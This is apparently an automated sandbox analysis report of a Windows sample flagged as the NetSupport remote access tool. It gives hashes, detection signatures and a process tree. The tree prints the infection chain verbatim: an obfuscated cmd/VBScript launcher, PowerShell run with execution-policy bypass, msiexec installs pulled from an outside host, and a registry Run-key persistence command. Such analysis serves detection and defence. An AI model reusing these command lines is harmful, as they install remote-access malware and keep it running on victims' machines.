Analysis
-
max time kernel
105s -
max time network
130s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
29-10-2020 16:41
Static task
static1
Behavioral task
behavioral1
Sample
signed_gate6.bin.exe
Resource
win7v20201028
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
signed_gate6.bin.exe
Resource
win10v20201028
windows10_x64
0 signatures
0 seconds
General
-
Target
signed_gate6.bin.exe
-
Size
3.8MB
-
MD5
5b31c8bf67eea804fa636876a1828d20
-
SHA1
0f9862e659b5cd1233a7796d51e062d217df3c75
-
SHA256
a61bc88a1a994952b622c7eb01bfa9be65591c8cb5e69c4dae56edbd94deb384
-
SHA512
bf7175eb313fd1949e36056d478699327a05cbff1d5a0e68c4664df7c202197a25332ba270c8a5300367cf8d4b711d682d535071ce6c11ed125dd78c75f2909b
Score
10/10
Malware Config
Signatures
-
NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
-
Blacklisted process makes network request 1 IoCs
flow pid Process 15 1504 msiexec.exe -
Executes dropped EXE 1 IoCs
pid Process 1092 fonthost.exe -
Loads dropped DLL 10 IoCs
pid Process 4760 signed_gate6.bin.exe 4760 signed_gate6.bin.exe 4760 signed_gate6.bin.exe 4760 signed_gate6.bin.exe 4760 signed_gate6.bin.exe 1092 fonthost.exe 1092 fonthost.exe 1092 fonthost.exe 1092 fonthost.exe 1092 fonthost.exe -
Use of msiexec (install) with remote resource 2 IoCs
pid Process 1280 msiexec.exe 2184 msiexec.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\fonthost = "C:\\Users\\Admin\\AppData\\Roaming\\yLVpwSmr\\fonthost.exe" reg.exe -
JavaScript code in executable 2 IoCs
resource yara_rule behavioral2/files/0x000100000001ab75-24.dat js behavioral2/files/0x000100000001ab75-25.dat js -
Modifies registry key 1 TTPs 1 IoCs
pid Process 1900 reg.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 860 powershell.exe 860 powershell.exe 860 powershell.exe -
Suspicious use of AdjustPrivilegeToken 65 IoCs
description pid Process Token: SeDebugPrivilege 860 powershell.exe Token: SeShutdownPrivilege 1280 msiexec.exe Token: SeIncreaseQuotaPrivilege 1280 msiexec.exe Token: SeSecurityPrivilege 1504 msiexec.exe Token: SeCreateTokenPrivilege 1280 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 1280 msiexec.exe Token: SeLockMemoryPrivilege 1280 msiexec.exe Token: SeIncreaseQuotaPrivilege 1280 msiexec.exe Token: SeMachineAccountPrivilege 1280 msiexec.exe Token: SeTcbPrivilege 1280 msiexec.exe Token: SeSecurityPrivilege 1280 msiexec.exe Token: SeTakeOwnershipPrivilege 1280 msiexec.exe Token: SeLoadDriverPrivilege 1280 msiexec.exe Token: SeSystemProfilePrivilege 1280 msiexec.exe Token: SeSystemtimePrivilege 1280 msiexec.exe Token: SeProfSingleProcessPrivilege 1280 msiexec.exe Token: SeIncBasePriorityPrivilege 1280 msiexec.exe Token: SeCreatePagefilePrivilege 1280 msiexec.exe Token: SeCreatePermanentPrivilege 1280 msiexec.exe Token: SeBackupPrivilege 1280 msiexec.exe Token: SeRestorePrivilege 1280 msiexec.exe Token: SeShutdownPrivilege 1280 msiexec.exe Token: SeDebugPrivilege 1280 msiexec.exe Token: SeAuditPrivilege 1280 msiexec.exe Token: SeSystemEnvironmentPrivilege 1280 msiexec.exe Token: SeChangeNotifyPrivilege 1280 msiexec.exe Token: SeRemoteShutdownPrivilege 1280 msiexec.exe Token: SeUndockPrivilege 1280 msiexec.exe Token: SeSyncAgentPrivilege 1280 msiexec.exe Token: SeEnableDelegationPrivilege 1280 msiexec.exe Token: SeManageVolumePrivilege 1280 msiexec.exe Token: SeImpersonatePrivilege 1280 msiexec.exe Token: SeCreateGlobalPrivilege 1280 msiexec.exe Token: SeShutdownPrivilege 2184 msiexec.exe Token: SeIncreaseQuotaPrivilege 2184 msiexec.exe Token: SeSecurityPrivilege 1092 fonthost.exe Token: SeCreateTokenPrivilege 2184 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2184 msiexec.exe Token: SeLockMemoryPrivilege 2184 msiexec.exe Token: SeIncreaseQuotaPrivilege 2184 msiexec.exe Token: SeMachineAccountPrivilege 2184 msiexec.exe Token: SeTcbPrivilege 2184 msiexec.exe Token: SeSecurityPrivilege 2184 msiexec.exe Token: SeTakeOwnershipPrivilege 2184 msiexec.exe Token: SeLoadDriverPrivilege 2184 msiexec.exe Token: SeSystemProfilePrivilege 2184 msiexec.exe Token: SeSystemtimePrivilege 2184 msiexec.exe Token: SeProfSingleProcessPrivilege 2184 msiexec.exe Token: SeIncBasePriorityPrivilege 2184 msiexec.exe Token: SeCreatePagefilePrivilege 2184 msiexec.exe Token: SeCreatePermanentPrivilege 2184 msiexec.exe Token: SeBackupPrivilege 2184 msiexec.exe Token: SeRestorePrivilege 2184 msiexec.exe Token: SeShutdownPrivilege 2184 msiexec.exe Token: SeDebugPrivilege 2184 msiexec.exe Token: SeAuditPrivilege 2184 msiexec.exe Token: SeSystemEnvironmentPrivilege 2184 msiexec.exe Token: SeChangeNotifyPrivilege 2184 msiexec.exe Token: SeRemoteShutdownPrivilege 2184 msiexec.exe Token: SeUndockPrivilege 2184 msiexec.exe Token: SeSyncAgentPrivilege 2184 msiexec.exe Token: SeEnableDelegationPrivilege 2184 msiexec.exe Token: SeManageVolumePrivilege 2184 msiexec.exe Token: SeImpersonatePrivilege 2184 msiexec.exe Token: SeCreateGlobalPrivilege 2184 msiexec.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 1092 fonthost.exe -
Suspicious use of WriteProcessMemory 19 IoCs
description pid Process procid_target PID 4760 wrote to memory of 3480 4760 signed_gate6.bin.exe 75 PID 4760 wrote to memory of 3480 4760 signed_gate6.bin.exe 75 PID 3480 wrote to memory of 4196 3480 cmd.exe 77 PID 3480 wrote to memory of 4196 3480 cmd.exe 77 PID 4196 wrote to memory of 416 4196 wscript.exe 78 PID 4196 wrote to memory of 416 4196 wscript.exe 78 PID 416 wrote to memory of 648 416 cmd.exe 80 PID 416 wrote to memory of 648 416 cmd.exe 80 PID 648 wrote to memory of 860 648 cmd.exe 81 PID 648 wrote to memory of 860 648 cmd.exe 81 PID 860 wrote to memory of 1280 860 powershell.exe 82 PID 860 wrote to memory of 1280 860 powershell.exe 82 PID 860 wrote to memory of 1900 860 powershell.exe 84 PID 860 wrote to memory of 1900 860 powershell.exe 84 PID 860 wrote to memory of 1092 860 powershell.exe 85 PID 860 wrote to memory of 1092 860 powershell.exe 85 PID 860 wrote to memory of 1092 860 powershell.exe 85 PID 860 wrote to memory of 2184 860 powershell.exe 86 PID 860 wrote to memory of 2184 860 powershell.exe 86
Processes
-
C:\Users\Admin\AppData\Local\Temp\signed_gate6.bin.exe"C:\Users\Admin\AppData\Local\Temp\signed_gate6.bin.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4760 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c ec^h^o CreateObject("Wscript.Shell").Run "cmd /c cmd /c powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\Dapino-Religion-People-Church.ps1", 0, False > %appdata%\NWNCDTYSWS.vb^s& wscript %appdata%\NWNCDTYSWS.vb^s& del %appdata%\NWNCDTYSWS.vb^s2⤵
- Suspicious use of WriteProcessMemory
PID:3480 -
C:\Windows\system32\wscript.exewscript C:\Users\Admin\AppData\Roaming\NWNCDTYSWS.vbs3⤵
- Suspicious use of WriteProcessMemory
PID:4196 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\Dapino-Religion-People-Church.ps14⤵
- Suspicious use of WriteProcessMemory
PID:416 -
C:\Windows\system32\cmd.execmd /c powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\Dapino-Religion-People-Church.ps15⤵
- Suspicious use of WriteProcessMemory
PID:648 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\Dapino-Religion-People-Church.ps16⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:860 -
C:\Windows\system32\msiexec.exe"C:\Windows\system32\msiexec.exe" /i http://safuuf7774.pw/iplog/newg.php?hst=installing_EWYCRADZ /q7⤵
- Use of msiexec (install) with remote resource
- Suspicious use of AdjustPrivilegeToken
PID:1280
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v fonthost /t REG_SZ /d C:\Users\Admin\AppData\Roaming\yLVpwSmr\fonthost.exe /f7⤵
- Adds Run key to start application
- Modifies registry key
PID:1900
-
-
C:\Users\Admin\AppData\Roaming\yLVpwSmr\fonthost.exe"C:\Users\Admin\AppData\Roaming\yLVpwSmr\fonthost.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1092
-
-
C:\Windows\system32\msiexec.exe"C:\Windows\system32\msiexec.exe" /i http://safuuf7774.pw/iplog/newg.php?hst=installed_EWYCRADZ /q7⤵
- Use of msiexec (install) with remote resource
- Suspicious use of AdjustPrivilegeToken
PID:2184
-
-
-
-
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Blacklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
PID:1504